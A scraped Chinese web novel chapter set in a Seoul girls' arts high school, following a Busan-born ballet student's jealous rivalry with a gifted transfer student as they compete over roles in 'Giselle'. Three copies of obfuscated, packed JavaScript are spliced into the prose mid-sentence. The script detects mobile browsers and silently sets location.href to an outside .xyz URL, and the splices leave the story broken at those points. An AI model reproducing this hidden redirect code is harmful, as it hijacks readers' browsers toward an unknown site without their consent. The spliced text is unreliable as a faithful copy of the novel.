《[女高怪谈]早死的白月光是恶鬼》 1. 我是唯一讨厌她的人 一天之中阳光正盛的时间，第一感觉并不是阳光灿烂盛大的温暖，而是头晕目眩，仿佛已经化作一滩血肉，排队等着腐烂。 ———— 釜山是有名的海滨城市，实际上，每当有人听说我是釜山人时，她们总在背后嘲笑我来自遥远的小渔村。 “啊——釜山呐，就是那个常出舞蹈天才的地方，怪不得你能来到这里。” “你一定很辛苦吧。” 和我打招呼的陌生同学没有等我的回应，自顾自离开的同时和她的同伴窃窃私语。 是刚好能让我听见的音量。 “学校也真是的，凭什么招一个破渔村来的乡巴佬来跟我们抢位置呢。” “就是啊，话说你刚刚是不是也闻到她身上的鱼腥味了。好臭。” 来到这所享誉全国的女子艺术高中的第一天，我在宿舍房间里洗了很多次澡。 我想，我明明该憎恨那些说这种话的人。 结果却是，我因为她们的话，把自己洗得脱皮，感到羞辱，感到不安。 从那一天起，我知道，我能紧紧抓住的东西只有舞蹈，只有跳好芭蕾，比所有人都好的时候，我才能反击这些话。 我才能正正当当地说：“釜山不是小渔村，是一个很美的地方。” 不过在为家乡正名之前，我要先说一句话。 “对，我就是来自釜山的宋珍星。” “那个釜山来的”入学第一年的时候，班级里的人总是这样叫我。 等到学期末，常常霸榜测试的第一名之后，她们才改口叫我的名字。 奇怪的是，我们彼此之间明明不熟。 她们却能用让人起鸡皮疙瘩的甜蜜声线，亲切又自然地叫我，“珍星呐——”。 二年级的时候，班里来了一名转学生。 她出现的第一秒，我就有预感。 第一名再也不是我的了，我即将从“珍星呐”变回“那个釜山的”。 从天鹅被被打回原形，变回丑小鸭。 而如果，实际上只允许一只天鹅存在，那个名额一定只会是朴素熙的，那个转学生。 那个不需要过分努力，浑身都流淌着名为“天赋”的金光的女孩。 她很爱笑，不像我，很少有表情。 她的家境很好，她的妈妈会专门为了方便她上下学而在学校附近买下一栋房子。 不像我，我的父母需要在海边没日没夜地工作才能支付起我的住宿费，可即便如此，我也只能挺直背用更好的旋转练习来偿还。 我只有跳好芭蕾，出人头地了，她们才不会被困死在海边。 她的人缘很好，出生于首尔，妈妈是有名的音乐家，待人很大方，只要你愿意接近她，她就会接纳你。 我曾亲眼看过一个完全不认识她的人，只是因为早上和她亲切地打了招呼，朴素熙就请她喝了小卖部里很贵的草莓牛奶。 不像我，从进学校的第一天遭到那样的嘲笑之后，我就下定决心，我会在这里冷漠地过完三年。 我只要跳好舞就行了，我只要能拿第一就好了，我不需要朋友，不需要这些虚情假意的关系。 “珍星，你叫珍星，对吧？” “我是素熙，我们做朋友好吗？” 一次练习结束后，老师让我们两个留下来接受辅导，这并不是因为我们进度落后。 而是因为老师觉得我们好，所以愿意多教我们一些。 让朴素熙留下来，也许是因为她的天赋，也许是因为她的家境。 但老师愿意让我也留下来，我知道，只有一种可能，那就是我的优秀并不比她差。 意识到这一点的我，松了一口气。 我不会永远是第二名的，我发誓。 教完一个新的动作后，老师让我们自己用钢伴练习十个八拍。 可是我不会弹钢琴。 收音机也不知为什么出了故障。 我看见练舞镜里的我，没有笑容，只能用充满怒气的表情来掩饰我的羞愧。 “阿西，破收音机，怎么这个时候出问题。” 我完全没有试着和朴素熙交流寻找解决办法，自顾自地对着收音机撒气。 也许我不是真的在气收音机，但我还是因为情绪太激动，冒出了方言，我总掩饰不好这一点。 窘迫的我像条撒野的狗，狂吠一通之后，我终于冷静下来，这才发现，朴素熙原来早就离开了。 她走了也好，就算没有音乐的八拍，我也能自己练习，自己跳好新的动作。 没人的时候，我会想象自己是一只天鹅在一片广袤的湖泊中间游动。 我会扑扇着我的翅膀，接住天空洒下的金色阳光，我会仰起脖子感受风的呼吸，感受水的波动。 我是一只高贵的天鹅，我拥有一切。 耳边的流水声不知什么时候变成了老师让我们练习的那首曲子，我浑然不觉，依旧沉浸在我的世界里。 十个八拍让我完全掌握了新学的内容，伴着钢琴声我还跳了更多，老师教授的动作是《吉赛尔》里阿尔伯特的舞步。 这是很有名的芭蕾舞剧，我在录像带里看过很多次，因此，我并没有止步于老师所教的小节，而是自己跳了下去。 音乐声也察觉到我的所思，转进了下一个章节，起初是一段缓和的导入。 我在短暂的导入曲里思考男性的舞步会有什么样的特点呢？ 当琴键被重重按下，G大调的进行曲的激进有力也牵动着我落下更加直接和有力的步子。 快速收缩又踢开我的小腿，用土耳其碎步让阿尔贝特伯爵的出场显得气势汹汹又具有强烈的野性。 没错，只有这样威猛英俊的阿尔贝特才能在登场的一瞬间吸引少女吉赛尔的芳心。 一舞落毕，我感到极大的满足。只有这种时候，我才能想起来，最初的我只是喜欢舞蹈。 喜欢跳芭蕾时每个跃动的脚步和旋转时的晕眩，那让我感觉世界即将和我的幻想融为一体，而我将会是这个新世界的中心。 一阵掌声突然响起，这让我终于发现，练习室里还有第二个人。 我扭头看向了鼓掌的人，她从钢琴上走过来，对我不吝夸赞。 “你绝对是我见过的最好的阿尔贝特！” “就像从吉赛尔里走出来的一样。” 可我没有感激她的赞美，我知道这种时候我应该礼貌地回赞她的钢琴也弹得很棒，至少我应该客套地感谢她。 但我没有，反而生硬地打断她的话。 “你为什么在这里，你不是已经……”走了吗。 为什么又要回来，朴素熙？ 我并不关心她的回答，自顾自收拾着自己，穿上外套想要离开。 余光看见朴素熙走回钢琴边，拿起盖子上的东西，我知道，她会过来挡我的路。 “我没有走， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644412|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我只是去买牛奶。” 是那种很贵的草莓牛奶，我只需要看一眼就能认出这个牌子，这是朴素熙爱喝的牌子，也是她随手就能送出去的东西。 而现在，这瓶牛奶在她的手心，递向了我，出乎意料的是，那一秒钟我并不觉得她是抱着高高在上的施舍心理给我这瓶牛奶。 朴素熙带着一种小心翼翼，她希望我收下牛奶。 “刚才收音机坏了，我感觉你心情不太好，所以我想着，也许我可以给你买这个。” 她的手又向前了些，而她的理由却让我无法接受，这代表着，她真的看见了我刚刚发疯的样子。 “这样，也许你的心情会好一些。” 朴素熙，依旧是在怜悯我。 这就是为什么，她是所有人的白月光，我却是唯一讨厌她的人。 我拍开了她的手，牛奶掉在地上。这并不是我的意图，我只是想让她收回去。 那一瞬间我也感到愕然，我很担心牛奶盒破掉，如果撒得满地都是，老师一定会罚我。 我比她还要慌张地蹲下去捡起牛奶，还好没有破掉，我把它塞回朴素熙手里。 虽然这并非我的本意，但我想，她一定能看出我的意思——我不想接受她的示好或者怜悯这些东西。 但我还是说：“谢谢，我不喜欢喝这个。” 我讨厌她，可我也知道，我不能得罪她。 不然，其他女生会彻底针对我。 我想走了，我想回到寝室里的小床上，高昂的住宿费有时候也是值得的，至少能给我一个独处的空间。 我不知道该怎么面对她，我只知道，继续和朴素熙呆在这里，我一定会变成我讨厌的恶毒模样。 我真的会变成那个傲慢邪恶的阿尔贝特。 “我先走了。”我用这句话作为对话的结尾。 不便宜的牛奶却再一次被朴素熙丢在地上，我微妙地读懂了她的意思。 发挥不了价值的东西，丢掉就好。 下一秒，她握住我的手，微微偏头对我扬起一个灿烂的笑容，甜蜜的声音和之前那些突然叫我“珍星呐”的女生没什么两样。 “珍星，我记得你叫珍星，对吗？” 还是不同的，其他女生没有朴素熙那样离我这般近，近得可以拽下我的头发。 好在，她并没有这样。 她只是问我：“可以和你做朋友吗？” “我是素熙，朴——素——熙。” 她似乎以为她的名字很少人知道，我察觉到她是个谦逊的女生。 “好吗，珍星？” 她挽上我的肩膀，默认我接受了她的提议。 其实成为她的朋友绝对是一件好事，大家会因此对我和颜悦色，即使有人嘲笑我只是她的跟班，我也能得到更多资源。 这是一件很好的事情，更何况这是朴素熙主动提出的，并不是我上赶着讨好她。 “可是，我不想。” 我甩开了她的手，不再看身后的她会有什么反应，匆忙逃走。 我不知道我为什么又要逃跑，这就像入学日被嘲笑之后一遍又一遍冲刷着身体，想要冲走她们嘴里嘲笑的鱼腥味，我不知道为什么是我先改变，先作出行动。 我只记得，跑出去教学楼，慌张地踩下前往寝室楼的二十八级台阶时，我清楚地感受到了阳光照在我身上的感觉。 不是温暖，是晕眩和死亡般窒息。 2. 吉赛尔与阿尔贝特 我们釜山最出名的食物，好像是叫做鱼饼的东西，将一条小银鱼碾碎放上很多面粉制成的东西，靠明显的鱼腥味才能察觉到面饼里有肉的味道，是靠海吃海的我们唯一吃到肉的方式。 所以，我原本很自豪。 直到我来到了首尔，跨过风浪穿过大海来到的地方，叫做城市，而城市里面的人将鱼饼称作低劣便宜的东西。 连带着从那里来的人，也是潮湿晦涩的低劣货。 于是，我昂起的头低下了。 我讨厌，二年级来的转学生朴素熙，嫉妒她的天赋和家境，讨厌她的好好性格和伪善。 而她，却在昨天对我说。 “我想和你成为朋友。” 她热情活泼，友善大方。 可是那又怎样，我并不想和她成为朋友。 我无声地将桌子上出现的牛奶放回朴素熙桌肚里，很奇怪，我居然知道她的位置，明明我在前排，她在后排。 算了，她的笑声是该死的大，想不听见也很难，比起练舞时才会拼尽全力动起来的我，她是一个有着太多健康习惯的好女孩。 喜欢运动，喜欢喝牛奶…… 今天这瓶牛奶不是草莓，是同等价格的另一个口味，但其实我骗了她。 我喜欢草莓，不喜欢这个口味。 坦率一些，我只是不喜欢她，所以没办法接受她给我的任何东西。 可是，我又想到，如果这样直接拒绝她的示好，她只需要跟关系好的人随口抱怨一句，我就会被孤立。 而我确信，朴素熙绝对会说出口。 于是我又伸手拿出了那瓶牛奶，我站在她的桌前，犹豫着该怎么办。 很快教室后门走进几个女生。 其中一个突然跑到我面前来，掐着我的手臂，我挣扎起来，手中的牛奶直直摔在朴素熙的桌上。 这一次，牛奶盒破了，大片的褐色牛奶洒在她的桌面上，很苦涩的巧克力味在教室里炸开。 那个对我动手的女生对我说出了辛辣的讽刺。 “哇——宋珍星——你真是，地沟里的老鼠吗？” “你就是饿疯了，也不能来偷我们素熙的东西吃吧，家里没有钱给你买饭吗？” 她身后又走出两三个人，我低着头，默不作声，我知道解释没有用。 她们几个从入学开始就看我不满，今天算是被她们找到由头，理直气壮地骂我一顿了。 我知道，其实解决办法很简单，我只要说出“这是朴素熙给我的”就好了。 但我没有，我拿出口袋里的纸巾擦拭着她的桌子，牛奶流到了我的裤腿上，粘在我的鞋上。 我像是黑黢黢的，被太阳晒化的一块巧克力，而这几个大声宣扬着我的“小偷事迹”女生，是恶心的苍蝇。 “哼——你以为不说话就行了嘛？” “喂——臭老鼠，臭鱼妹——” 她们用手指戳着我的手臂，试图引起我的反应，她们一定以为我不敢反抗。 而我只是想到有件事情，最初在老家，那个劝我学习芭蕾舞的老师，她对我看好的地方，并不是什么优雅气质、曼妙身姿。 相反的是在她眼里，芭蕾舞绝不是由这么简单的事情组成。 “你觉得她们跳得很轻松对吧，我告诉你如果你想像一片羽毛一样轻盈，你要先成为一头大象。” 老师所看重的，是我堪称大象一般笨重却有力的手臂，因为我需要帮着家里人一起处理捞上来的鱼。 所以，我很会杀鱼。 我也很会，将聒噪的女生们的头按在朴素熙这张沾满了巧克力牛奶的桌子上。 杀鱼之前需要先用刀背敲晕鱼。 “咚——咚——咚”显然，她们几个的脑子敲在桌上的声音比敲鱼脑袋要好听一些。 “别来烦我。” 我有很多话要说，但我觉得很累，所以我只是这样说。 但我没想到，当我展现出这样的一面之后，这样不优雅也不够善良的行为，会被朴素熙看见。 实际上，她看不看见对我而言根本不重要。 如果她能因此被我吓到，或者讨厌我的鲁莽，因此而远离我，也是再好不过的事情。 于是我选择直视她的双眼。 我想，她听懂了我的意思。 “走开。” 于是，朴素熙从后门逃走了。 而我仍在她的位置上默默善后，擦干净她的桌子，拿起墙后面的拖把将她桌子下面的地方拖干净。 做完这一切，我打算回到自己的位置上。 感觉这个课间的时间很漫长，我第一次想要快点听到上课铃。 但是偏偏不如我的意。 朴素熙从后门跑进来，精准无比地挡住我的路，她又冲着我笑。 “是这个对吧。” 她笃定的语气让我跟随着低下头。 她手里又是牛奶，老实说，我真的快讨厌牛奶了，如果她再这样的话。 “你什么意思？” “我要回我的位置上，请让一让。” 我不愿去看她，侧身想要离开。 “珍星，你喜欢的是这个，对吧？” 草莓味的牛奶又一次被她随手放下，好在并不是像昨天一样丢掉，而她背在身后的手伸到我面前，摊开手掌，向我倒过来的是一瓶草莓汽水。 我甚至能听到咕噜咕噜的气泡声。 我意识到，原来刚才，她不是逃跑了。 而是去小卖部买了新的饮料。 “是这个吗？”她看见我接住了这瓶饮料，但圆形的瓶身被她摊开手掌放置，向前倾倒，如果我不接住就会掉在地上。 说这么多，我只是想表明，并不是因为喜欢才伸手接过，我只是想避免麻烦。 朴素熙难道不能理解这一点吗？ 可是，朴素熙为什么这样执着于弄清楚我的喜好呢？ “珍星呐，就算不做朋友的话，我们变亲一点怎么样呢？” 当着这么多人面前，她毫不避讳地对我说这种话，是一种负担。 可我知道，我不能像她一样有底气地拒绝回去，因为我和朴素熙不一样。 我是丑小鸭，她是天鹅。 这一次上课铃终于响起来，朴素熙让开了位置，我如释重负地回到位置上。 对于艺术生而言，文化课是重要的，但不是最重要的，而我透过易拉罐光滑的表面，看见了后排的朴素熙。 她在看我。 我不会回头，我不会成为她的朋友、跟班或者什么别的关系。 我不感兴趣她突然向我亲近的原因。 在这间教室里，我们是彼此不会从同一道门进出的前排和最后排。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644413|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而在练舞室里，朴素熙是我的对手。 唯一的对手，我清楚地知道，在这间舞室里只有她会让我产生危机感。 而我讨厌她的又一个原因。 是因为，我曾经听见她说。 “啊，那个啊，其实我并不喜欢芭蕾。” “是妈妈逼着我来的。” 朴素熙本可以接受女生们的追捧，她只需要好好接受那些对她天赋的夸赞就好了。 她跳得很好，连我也无可指摘。 可说出这样的话，对芭蕾根本没有任何认真态度的她，却能得到在这个领域上我想要的一切，为什么，凭什么？ 我想，我没有办法和朴素熙变亲。 就连做对手，她的态度也不配我去注视她。 这是我这样的臭鱼妹，所拥有的，唯一傲慢的资格，我会不加吝啬地用在朴素熙身上。 后来素熙死掉的时候，我不止一次想，她其实没有任何错，也许她唯一的错，就是试图靠近我。 而现在，我唯一发愁的是月考排练曲目，正是昨天练习的《吉赛尔》，难的并不只是里面衔接快速又需要力度精准的动作。 更难的是，老师提出的小组合作方式。 女主角，吉赛尔由朴素熙扮演。 而剩下的人，可以选择竞争男主角阿尔贝特的角色，也可以选择老师指定剧目里任意一个配角。 只是，这些无关紧要的小角色，定然是没有站在舞台中央的资格，也很难被老师看见。 即便老师会说：“只要你们技术到位了，卡司席位并没有什么分别。” 我清楚地知道这只是一句客套话。正如我不会选择当众质问老师，为什么从剧名就能看出来的绝对主角，center的位置会毫不犹豫地给了朴素熙呢？ 天赋？可是她并没有善加利用自己拥有的宝物。 努力？我在这间舞室流下的汗水，足以让所有人都迈不开脚，走不动路。 “以上，都清楚了吗？” “想要报名阿尔贝特的今天放学之前……” 金老师的目光在众人间扫视了一圈，一开始是严肃紧促的眼神，停在某个人身上时变成了柔和。 紧接着她说：“决定报名的人，就在放学前告诉素熙，能赢得吉赛尔芳心的人，才是最好的阿尔贝特不是吗？” 我知道老师的意思是谁能最先和朴素熙达成练习默契，谁就能取得男主角的位置。 可我只觉有些讽刺，上午我才说过我不会接近朴素熙，等一会儿我就会主动走向她。 冥冥之中，我仿佛是被神捉弄的玩具。 可是就算被捉弄又如何。 我只知道，现在，我要成为阿尔贝特。 即使他只是一个副center，至少也有半个位置，也是冠以主角之称。 我会一步一步走到吉赛尔的位置上，走到世界的中心，成为命运的宠儿。 “那个，我想报名阿尔贝特的竞选。” “珍星吗，如果是你的话，我觉得……” “你一定会是最好的阿尔贝特。” 朴素熙的笑容和这个季节的属性一样，像火一样，毫不掩饰，全盘释放。 我也从不否认，她拥有的旺盛生命力和吉赛尔一样令人向往。 可吉赛尔的结局是枯萎，是死亡，是成为黑夜中的幽灵。 3. 选拔阿尔贝特 金老师不会给我们这些次等角色太多时间，否则这出以吉赛尔为最大主角的芭蕾舞剧将被置于何地呢。 报名后的第二天下午，选拔就开始了。 选拔形式也很简单，表演前报上选段，老师会根据选段来伴奏，竞演阿尔贝特的人随即开始表演，时间为三分钟。 能同时获得老师在技术层面的认可和“吉赛尔”情感层面吸引的就能获得这个位置。 如果说前者较为客观，那么后者就需要耍一些“小心机”了。 这间舞室有三十名学生，除了朴素熙之外，有20名报名了阿尔贝特。 剩下的人要么是新来的技术还不够到位没资格报名，要么就是明哲保身选了其他还算不错的位置。 对我而言，永远没有“还算不错”这个说法。 但这次竞演，我并不占优势。 从表演顺序上来说，我是最后一个，是一个最容易让人产生视觉疲劳的位置。 论表演设计，第一个出场的人自然又机灵地选择了第一幕曲中吉赛尔与阿尔贝特的双人舞段落。 她在赌朴素熙的心软和肌肉反应。 心软在于朴素熙不一定会拒绝她的眼神请求，而肌肉反应就在于这幕双人舞是老师最近主要在教导的段落，她也许会不由自主地动。 好在，朴素熙只是微微耸肩，并没有站出来和那名女生配合。 但，通过甜蜜互动来驱使朴素熙站出来和她们配合，来达成赢得吉赛尔芳心的这个路线，基本得到了确定。 在我之前的十八个人，无一例外选择了与第一幕曲差不多的位置。 她们极力把自己塑造成为那个富有魅力、年轻俊朗的化名伯爵，这样就能轻易地俘获田园少女的一见钟情。 第一印象，有时候能决定一个人的一生。 这句话放在因爱而死的吉赛尔身上，再合适不过了。 回过神的时候，我前面的人已经走上前开始报幕，当她表演完之后，就该到我了。 要我像她们一样，在朴素熙面前展开鲜艳的羽毛，极尽卖弄风姿吗？ 这样的我，才是个疯子吧。 我思量着一舞必胜的方法。 和她们选一样的选节，论技巧我不一定会输，论情感…… 昨天在朴素熙面前我接着跳下去的舞步，正是源于正在表演中的段落。 “你是我见过的，最好的阿尔贝特。” 我还没有忘记朴素熙这句话。 但我并不会相信，或者说，我不会把机会放在朴素熙身上，我绝不会靠她的亲睐得到我想要的东西。 于是，轮到我了。 我思考的样子看着很懵，金老师叫我第一遍，也被我忽视了。 这让她感到不爽：“让你排在最后表演，你就不行了吗？” “如果是这样，也没必要浪费时间了。” 我如梦初醒地抬头，撞见了朴素熙担忧的眼神。 我并不感激，完全转过身背对着她，对着老师报幕。 “第二幕黎明哀悼的选节，麻烦您了。” 我向老师弯腰敬礼，站直的时刻，张开嘴痛苦地呼喊起来。 “Giselle——” 我在一瞬间弯曲膝盖，像一块重重的石头跌倒在地，疯狂地向前爬，无助地伸出手。 因为我的灵魂挚爱，我的爱人，我钟情的那个天真善良的女子，为了我而死，又为了我灵魂消失在黎明的薄雾中。 那一刻，我在她无私的爱之中认识到了自己的傲慢、卑劣和自私，我为我失去了这份爱而悲恸，为我失去了我的真爱而忏悔。 双手不断在空气中抓腾，疼痛令我翩翩起舞，令我旋转，令我晕眩。 仿佛再度置身于人间和幽灵边界，再次拥抱我的爱人。 我看见了她的幻影，我知道我已经疯了。 可我仍然义无反顾地张开手想要拥抱我的爱人，嘴里呢喃爱神对我下达的箴言。 “我唯一的，吉赛尔——” 我对这朴素熙张开了手，只有这一刻，当我与阿尔贝特形同一人的瞬间，我向往着她的拥抱。 所有人都渴求的回应，都渴望得到吉赛尔的回应，成为她唯一的阿尔贝特，当这份回响降临在我身上，当朴素熙向我走来拥抱我。 在我们四目相对即将拥抱的刹那，我向后退拒绝了她的拥抱。 我心知，当她朝我走过来时，我就赢下了这场竞演。 我会赢下她的注视，赢得吉赛尔的芳心，但我不会接受作为朴素熙朋友，向她献上的拥抱。 我对着老师，在她落下最后一个八拍的重音时分，抱住了我自己，留下了痛苦的泪水。 忏悔来得太迟，我已无药可救。 只能叹息：“吉赛尔——” 音符结束，我跪倒在地，表演结束。 我知道，即使其他再怎么看我不顺眼或者不熟悉我，她们也会为我这段表演而鼓掌。 可我却在掌声中听见一声惊呼。 “素熙，你要……” 朴素熙在我身后抱住了我，同样跪倒在地，我甚至能感受到她大腿贴在我的大腿边，这样的肌肤相贴，才让我发现，她的身体也很滚烫。 仿佛，她也和我一起激烈地跳了三分钟。 在老师赞赏的目光，我听见了朴素熙的声音，她莫名有些颤抖，身体和声音都是。 “你……是……最好的……” “珍星——” “谢谢你。” 我平静地回复，拉开了她的手臂。 我没有忘记谢幕礼仪，对着老师鞠躬，同样我也对着还在地板上的朴素熙伸出了手。 下课铃刚好打响，其他人都迫不及待地走出去，老师走到我身边叮嘱。 “别以为得到这个位置就能不努力了，你知道像你这样的人，每一次月考都不能失误的吧？” “把握好机会，好好表现吧，宋珍星，知道了吗？” 我侧头道谢，向她保证我会做好。 回头时，我依旧保持着欠身伸手的状态。 朴素熙反倒不自在起来。她没有拉我的手。 真很奇怪，刚刚能冲过来抱住我的人，现在反而因为我伸出去的手而迟疑起来。 这是朴素熙转来的第二个月，上个月她不费吹灰之力地取走了之前由我霸占的第一名。 这个月，她又无需经历任何考验，得到了吉赛尔的位置。 我不知道她还要拿走什么，但这些东西并不是从一开始就是我的，只是，终有一天我会得到，为此我会不惜一切代价。 “不起来吗，素熙？” 所以我向她伸手，至少这几个月，她将是我的搭档。 “我可以吗？” 她盯着我的手，我便知道，她并不是在问可不可以起来，而是问我。 可以就这样握住我伸出去的手吗？ 我点头了。 于是朴素熙又问我。 “那我们现在是亲故吗？我们现在能成为朋友了吗？” 为了我想要得到的成绩，我为之奋斗的目标，我会不计任何代价。 但是现在，我并不愿意利用朴素熙来得到我想要，正如今天，我确信并不是我成为被朴素熙选择的阿尔贝特，而是我作为阿尔贝特选择了她的吉赛尔。 或者说，我并不需要朴素熙。 有人喜欢她的性格，有人佩服她的能力，有人巴结她的身世…… 而我，还不需要这些。 所以，在拉起朴素熙，看见她站稳了之后，我冷冷一笑。 “不是，我们不是朋友。” 教室里再没有其他人，这一周最后一节课结束了，大家忙着享受来之不易的假期。 这里只有我和朴素熙。 于是我决定诚实一次。 “说实在的，我讨厌你，朴素熙。” 我就是这样一个反复无常、出尔反尔的家伙。 像一首最近很火的中国歌曲。 《十七岁那年的雨季》 如果说朴素熙的生活永远是晴天，那么她突然对我升起的，那点微妙的兴趣，让她来了兴致想要接近我，捉弄我，嘲笑我…… 那么，我将会成为她人生中唯一的雨季。 我的言语会如剑雨般落下，我的揣测将会化为流进下水道的雨水，散发着青苔的腥味。 她和我的确是不一样的人，如果有人这么对我说话，我大概会立刻转身离开 朴素熙却拉着我的手不放，她问我：“为什么呢？” “是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644414|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢我哪里呢？” 她抓着我的手，放在自己脸上。 “不喜欢我的长相？” 我的手从她流畅的下颌骨落到她的胸膛上，能感受到起伏的心跳。 “心灵？” 少女嘟着嘴问我，我看得出来，她对自己具备的这些东西，是很满意的。 所以她疑惑我，为什么抗拒她。 甚至说出，讨厌她这样严重的话。 “珍星呐……” 最后，她捧住我的双手，叹了一口气。 “是我做了什么，你不喜欢的事情吗？” “嗯？告诉我，好吗？” 也许是刚刚表演投入了太多情感，抱着必胜的决心做完之后，我感到深深的疲倦。 我对朴素熙也感到疲惫。 我知道我只要问一问，她为什么要靠近我，一切就不会这样僵持下去。 可我不会问，这样做了，仿佛就是在向她低头，就会给她机会。 会让她以为，其实我也想跟她做朋友，只是怕并不是真心对待我。 这样做了，她就会知道，我只是一个胆小鬼。 “朴素熙……” “你连成为的对手，都不配。” “为什么，会觉得能成为我的朋友？” 我像一直高傲的天鹅，扬起脖子，蛮横无比地把我能想到的最狠毒的话说给她听。 “像你这样，滥用天赋，不珍惜自己的灵气的人，就算排在我前面。” “我也不会认可你。” “就算有再多人喜欢你，我也会讨厌你，一直讨厌泥！” 我又一次冒出了方言。 这让我感到懊悔，怒气，羞耻。 “阿西——为什么——为什么改不掉。” 为什么，已经来到这里一年多了，我还是改不掉这些习惯。 为了表演生动而留下的眼泪，倾巢而出，沾湿了我整张脸，渐渐的我已经不知道我在说什么了。 “我不会和你做朋友的，我不需要朋友，我根本不在意大家的嘲笑。” “对，我就是釜山来的宋珍星，臭鱼妹又怎么了，那些名贵的鱼，不也得从我们釜山的大海捕上来？” “有鱼腥味又怎么样，不去杀鱼，不靠这些鱼，我哪里会有钱来到这里？我需要钱，我靠鱼赚钱，这很好笑吗？这有什么值得笑的？” 我都在说什么啊？ 即使捂住脸，也还是会从指缝里掉出来的泪水，是我这段时间压抑的情绪。 自从朴素熙出现在我的生活里，我苦苦维持的一切都在一点点小事。 比起讨厌她这件事，我更讨厌我自己。 为什么没有能力守住这一切，为什么没有比她更高的天赋？ 为什么，让我体验过天鹅的美妙，又让我再次回到丑小鸭的日子里。 “珍星……” 我抬起眼皮，看见了还未离去的朴素熙。 她默默听完了我这些胡话。 她又一次看见了情绪崩溃的我。 我突然有一种火气。 为什么，又是她？ 朴素熙掏出手绢，鹅黄色的帕子，一看就知道价格不菲，左上角绣着她的名字，这张帕子的意义就不止于高昂的价格。 她用这样的帕子替我擦脸。 我不想要听她的任何安慰。 我没想到，她也并不打算安慰我。 “珍星，我是不一样的。” “我和她们，不一样，所以……” 所以选择我吧。 我听见朴素熙这样说。 也许她原本打算对我使用强硬的手段，日复一日挤压我的生活，通过这样的方式达成她的目的，可她看见了我的泪水。 她终于懂了，我喜欢的东西也许是草莓牛奶，也许是草莓汽水。 但绝对不是她自以为是递过来的任何东西。 朴素熙并不了解我是什么人。 但她能感受到，我这样的人会比她更敏锐地察觉到一个人真诚与否。 “您能感受到我的态度，对吧，珍星？” 正因为察觉到她没有理由的真诚。 才让我显得如此恶毒。 我不会暴露我的恐惧，所以我只能先成为刺猬。 4. 恶意的命运 “素熙，我真的好佩服你，为什么每次上课你都能准确作出老师要求的那些的动作呢？” “你这样完全就是芭蕾舞创始人的程度了吧。” 朴素熙抱着办公室老师拜托带到教室来的作业本，微微低头露出一抹笑，她很谦逊也因此感到有些害羞。 “并不是这样的。”她小声回答。 路过的女生却恍若未闻，只是问她：“你一定很爱芭蕾吧。老师说过这是一个需要靠热爱和努力才能做好的事情。” 原本只是同她客套两句话的朴素熙停下来。 作出一副思考的样子，这让和她同步行走的女生也跟着停下来。 “怎么了，素熙？” 朴素熙看着她，猛地一笑。 “其实，我并没有很喜欢芭蕾。” “是妈妈逼着我学的kk，完全想不到吧。” 朴素熙轻飘飘的一句话，对于最初走过来对她表示崇拜和赞赏的女生而言并没有造成什么影响。 反而让对方觉得她更厉害了。 “不是很喜欢也能跳成这样，你上辈子不会就是个芭蕾舞蹈家吧！” 这样华丽的赞美，让两个女生在对视的瞬间都哈哈大笑起来。 “对不起，我太夸张了kk。” “没事呀，我觉得你很会说话，这样很可爱。” 她们之间的气氛是如此融洽，衬托着那个角落里蹲着的女生，是如此阴郁。 宋珍星原本是因为肚子痛急着要去厕所才走了这条路，远远就看见朴素熙的她，不知为什么下意识躲了起来。 不希望被她看见。宋珍星靠在墙角。 却没想到会听到朴素熙说这样的话。 的确，她对芭蕾舞是什么态度，跟宋珍星没有半点关系。 可心里冒出来的坏情绪却多到能忽略掉原本的肚子疼。 宋珍星掉转了方向，回到了练舞室，继续练习。 在练习结束后，她靠着自己身上的汗水保持湿润，毫不顾忌地倒在地板上。 大口呼吸的她，胸膛深深起伏着，仿佛如果不赶紧吸气，就会窒息而亡。 氧气从肺部扩散，终于在她的全身的循环了一圈，这让她有一种劫后余生的感觉。 这让她，终于决定，讨厌朴素熙。 因为，朴素熙是一个虚伪的人。 可宋珍星不知道，那场对话并没有结束。 朴素熙抱着本子再次和那女生同行向前，在珍星走下楼的瞬间，她们穿梭过那个路口。 差一点就能擦肩而过，再差一点就能互相问候。 可是朴素熙并没有错过珍星的背影，她恋恋不舍地看着那抹影子，继续着刚才的话题。 “但我，并不是因为妈妈才决定学习芭蕾的。” “诶？这是为什么呢？” 青春期的女生，尤其是在女校被规训，回家却无可避免接触一些启蒙，倘若家中有个年长一点点哥哥就更坏了，会被教坏。 总之，脸上有着很可爱雀斑的雕塑系女生眯着眼睛哼哼。 “难道是素熙你有一个喜欢看你跳舞的竹马xi？” 朴素熙愣住了，然后才是哈哈大笑。 “呀，真英你也太有想象力了吧。” “不过，并不是这样。与爱情无关哦。” 